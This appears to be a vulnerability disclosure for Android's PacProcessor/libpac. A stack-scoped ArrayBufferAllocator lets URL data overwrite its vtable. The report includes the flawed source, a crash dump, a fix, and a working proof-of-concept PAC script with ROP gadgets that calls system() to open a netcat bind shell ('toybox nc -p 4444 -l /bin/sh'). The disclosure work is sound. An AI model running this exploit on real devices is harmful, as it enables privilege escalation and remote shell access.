TITLE: Security Report - PacProcessor / libpac.so Code Execution

Overview

The PacProcessor system service (com.android.pacprocessor) is susceptible to a vptr overwrite vulnerability which can be exploited to locally raise privileges and could potentially allow a remote attacker to execute arbitrary code as the PacProcessor UID on fully updated Android devices. The attached PoC has been tested successfully on a Pixel 3XL device running the latest versions of Android (google/crosshatch/crosshatch:9/PQ3A.190801.002/5670241:user/release-keys). The vulnerability is due to the use of automatic storage of the instance of *ArrayBufferAllocator* on the stack on line 769 of proxy_resolver_v8.cc in the chromium-libpac library.

https://android.googlesource.com/platform/external/chromium-libpac/+/refs/heads/master/src/proxy_resolver_v8.cc#769

```
int ProxyResolverV8::SetPacScript(const std::u16string& script_data) {
  if (context_ != NULL) {
    delete context_;
    context_ = NULL;
  }
  if (script_data.length() == 0)
    return ERR_PAC_SCRIPT_FAILED;
  // Use the built-in locale-aware definitions instead of the ones provided by
  // ICU. This makes things like String.prototype.toUpperCase() not be
  // undefined.
  // Disable JIT
  static const char kNoIcuCaseMapping[] = "--no-icu_case_mapping --no-opt";
  v8::V8::SetFlagsFromString(kNoIcuCaseMapping, strlen(kNoIcuCaseMapping));
  // Try parsing the PAC script.
  ArrayBufferAllocator allocator;
  v8::Isolate::CreateParams create_params;
  create_params.array_buffer_allocator = &allocator;
  context_ = new Context(js_bindings_, error_listener_, v8::Isolate::New(create_params));
  int rv;
  if ((rv = context_->InitV8(script_data)) != OK) {
    context_ = NULL;
  }
  if (rv != OK)
    context_ = NULL;
  return rv;
}
```

This declaration of *allocator* stores the object on the stack and it is therefore only valid until the end of this block, which returns when the script context has been initialized. In subsequent calls the vptr is overwritten by local variables in other stack frames. However, a reference to the allocator remains as part of the V8 context. It is used when ArrayBuffer objects are allocated (hence the name) within the parsed JS code. This leads to a crash when an expression like *new ArrayBuffer(1)* is called from within the context of *FindProxyForURL*, which executes after the

vptr has been overwritten. It happens that the vptr of the allocator instance is consistently overwritten by a pointer to the *std::u16string* containing the URL passed to *ResolveProxy.* All of the above can be seen in the following crash dump (from a Pixel 3a device of slightly older build)

```
07-15 18:13:12.807 18174 18174 F DEBUG   : Build fingerprint:
'google/sargo/sargo:9/PD2A.190115.032/5340326:user/release-keys'
07-15 18:13:12.807 18174 18174 F DEBUG   : Revision: 'MP1.0'
07-15 18:13:12.807 18174 18174 F DEBUG   : ABI: 'arm64'
07-15 18:13:12.807 18174 18174 F DEBUG   : pid: 13791, tid: 18171, name: Thread-2  >>>
com.android.pacprocessor <<<
07-15 18:13:12.807 18174 18174 F DEBUG   : signal 7 (SIGBUS), code 1 (BUS_ADRALN), fault addr
0x2e007700770077
07-15 18:13:12.808 18174 18174 F DEBUG   :   x0  00000077afed0950  x1  0000000002000000  x2
0000000002000000  x3  0000000000000001
07-15 18:13:12.808 18174 18174 F DEBUG   :   x4  0000000000000000  x5  00000077af683751  x6
000000003136caf8  x7  00000077afed0478
07-15 18:13:12.808 18174 18174 F DEBUG   :   x8  00000077afed0950  x9  002e007700770077  x10
0000000000000040  x11 0000000000000040
07-15 18:13:12.808 18174 18174 F DEBUG   :   x12 00000077af8d4a29  x13 0000000000000000  x14
0000000000000000  x15 0000000000111008
07-15 18:13:12.808 18174 18174 F DEBUG   :   x16 000000003f5ac9a0  x17 000000003f6a3101  x18
0000000000000001  x19 0000000000000000
07-15 18:13:12.808 18174 18174 F DEBUG   :   x20 0000000002000000  x21 00000077c85f5dc0  x22
00000077be642068  x23 00000077afed2588
07-15 18:13:12.808 18174 18174 F DEBUG   :   x24 00000077be643ff0  x25 00000077be642060  x26
00000077c85f5e08  x27 0000000031319a89
07-15 18:13:12.808 18174 18174 F DEBUG   :   x28 00000077afed0450  x29 00000077afed03e0
07-15 18:13:12.808 18174 18174 F DEBUG   :   sp  00000077afed03c0  lr  0000007791e83e78  pc
002e007700770077
07-15 18:13:12.879 18174 18174 F DEBUG   :
07-15 18:13:12.879 18174 18174 F DEBUG   : backtrace:
07-15 18:13:12.879 18174 18174 F DEBUG   :   #00 pc 002e007700770077  <unknown>
07-15 18:13:12.879 18174 18174 F DEBUG   :   #01 pc 00000000002ece74  /system/lib64/libpac.so
(v8::internal::JSArrayBuffer::SetupAllocatingData(v8::internal::Handle<v8::internal::JSArrayBuffe
r>, v8::internal::Isolate*, unsigned long, bool, v8::internal::SharedFlag)+80)
07-15 18:13:12.879 18174 18174 F DEBUG   :   #02 pc 00000000004789ec  /system/lib64/libpac.so
(v8::internal::Builtin_Impl_ArrayBufferConstructor_ConstructStub(v8::internal::BuiltinArguments,
v8::internal::Isolate*)+436)
07-15 18:13:12.879 18174 18174 F DEBUG   :   #03 pc 0000000000028a24
<anonymous:000000003f584000>
```

The backtrace shows that `v8::internal::JSArrayBuffer::SetupAllocatingData` is the function before the corrupted pc address. This function is responsible for calling the *Allocate* virtual function found within the ArrayBufferAllocator instance. Additionally the value of pc is 002e007700770077 which is the utf16 string “www.” demonstrating that the url has taken the place of the vtable. An attacker, especially one which already controls the PAC script, has the ability to manipulate what urls are passed to this function, and can conditionally trigger the call to the ArrayBuffer functions based on whether the url matches an appropriate exploit string.

In order to exploit this (on the latest Android on arm64 devices) an attacker must control the PAC file URL. This can be done by either convincing a user to use an attacker controlled PAC

URL or by intercepting an insecure HTTP request for a legitimate PAC file. As users sometimes share PAC files online for the purpose of ad-blocking, both of these scenarios are plausible. Top google results for ad-blocking PAC files largely consist of http links.

Obstacles to Exploitation

There are some constraints that make the exploitation of the vulnerability difficult even after an attacker controlled PAC URL is set as the proxy handler. In order to remotely exploit the vulnerability an attacker would either need to leak an address to executable memory or spray the heap sufficiently to ensure that attacker controlled bytes are executed. Even if an address leak were to occur there is an additional difficulty as the URL must be a valid Java URI and the host characters must also be valid in order for the URL to reach ResolveProxy from PacProxySelector. With this limited set of characters and the fact that the string is utf16 it severely limits the values of pointers that can be packed into the url. However, it is possible to evade these restrictions by passing a url with a username:password part like http://x<almost any wide characters>:password@example.com. These are valid URIs and can be passed through ProxySelector, though with the restriction that they still cannot contain wide nulls (\u0000). In realistic scenarios on arm64 existing executable memory addresses will always have null bytes as the most significant two bytes, which means that jumping into eg. a loaded library will not be possible. However, as the attacker has control of the whole v8 heap and can potentially spray executable memory through JIT compilation or WebAssembly it is by no means impossible for this vulnerability to be remotely exploited in this way. One thing to note is that even a simple *ret* gadget would give the attacker a powerful read and write primitive since this could return to the attacker an ArrayBuffer of unlimited size that can read and write any values using the normal DataView methods.

PoC Exploit

The attached PoC does not attempt to exploit the vulnerability remotely. Instead it uses a malicious app along with a malicious PAC script to demonstrate that code execution is possible, and constitutes an elevation of privileges as the app has no permissions and gains the INTERNET permissions associated with PacProcessor. The malicious PAC file contains

```
//var command = "log \"exploit succeeded, user: $(id)\"\n";
var command = "toybox nc -p 4444 -l /bin/sh"; // shell listens on port 4444

function FindProxyForURL(url, host){
        alert(url);
        alert(host);

        // split into stages makes exploit easier / more reliable though it is not strictly
necessary
        if(host.includes("stage1")){
        var system_addr = parseInt(host.split("-")[1], 16); // get system() addr from hostname
        this.x = new ArrayBuffer(system_addr); // set it as size to be used in blr x2 instruction
later
```

```
        this.v = new DataView(this.x); // dataview of buffer lets us write mem into [x0]
        }
        else if(host.includes("stage2")){
        strToBuf(command, this.v); // write command into the memory of previous url

        this.x = null; // remove refs
        this.v = null; // remove refs

        gc(); // trigger garbage collection to call overwritten free()
        }

        alert("done");
        return "DIRECT";
}

function strToBuf(str, buf)
{
        for(i=0; i<str.length; i++)
        {
                buf.setUint8(i, str.charCodeAt(i));
        }
        buf.setUint8(i+1, 0);
}

function gc()
{
        for(i=0; i<1000; i++)
        {
                new Array(0x1000);
        }
}
```

The PAC file waits for hosts that contain stage1 and stage2 in before triggering the overwritten functions of the allocator. The URLs corresponding to these hosts are constructed in the malicious app and passed directly to the resolvePacFile function of the PacProcessor service, which is obtained through reflection. This avoids the complications associated with the URI requirements described above. Then the addresses of libc and libart are found by reading the apps /proc/<pid>/maps file. Due to the nature of the zygote spawned process address spaces, these addresses will be the same for the PacProcessor service. Next URLs are crafted that overwrite the function pointers in the allocator vtable with gadgets from libc and libart. In the first stage a gadget performing

```
0x000a37ec: ldr x0, [x0]; ret
```

Is used to overwrite Allocate which will return the address of the url instead of a valid malloced heap address when *new ArrayBuffer(size)* is called. The address of system is also passed as part of the host string. It is used as the size of the allocated ArrayBuffer, and will be used in the second stage when the overwritten Free is called. The second stage overwrites the Free function pointer in the vtable with the gadget

```
0x0031a728: mov x0, x1; mov w1, w8; br x2;
```

When free is called on the previously “allocated” ArrayBuffer the address and “size” of the buffer are in registers x1 and x2 respectively. The PAC script writes a command into the address in x1 and the gadget moves this into x0 before branching to x2 which contains the address of system, effectively calling system(command). The provided command spawns a shell listening on port 4444. Connecting to the port with netcat and entering id yields “uid=10091(u0_a91) gid=10091(u0_a91) groups=10091(u0_a91),3003(inet),9997(everybody),20091(u0_a91_cache),50091(all_a91) context=u:r:platform_app:s0:c512,c768” the id of the PacProcessor service.

Impact

This vulnerability potentially affects any user that uses PAC scripts, and could result in remote code execution. Additionally for android versions before 8.0 apps could be allowed to set the system proxy settings, which would allow a malicious app to exploit the vulnerability without the user needing to manually set a PAC URL. Using the CVSS 3.0 scoring metrics this vulnerability scored a 7.6 (high)

https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:H/E:F/RC:C

Similar impact vulnerabilities recently patched in the 8/1 update were marked critical.

Fix

A simple fix of this vulnerability would be changing the declaration of the allocator instance from `ArrayBufferAllocator allocator;` to `ArrayBufferAllocator* allocator = new ArrayBufferAllocator;` as well as adding a line to delete the instance after the context is freed. This way the object is not placed on the stack and is valid even after the block it is defined in returns.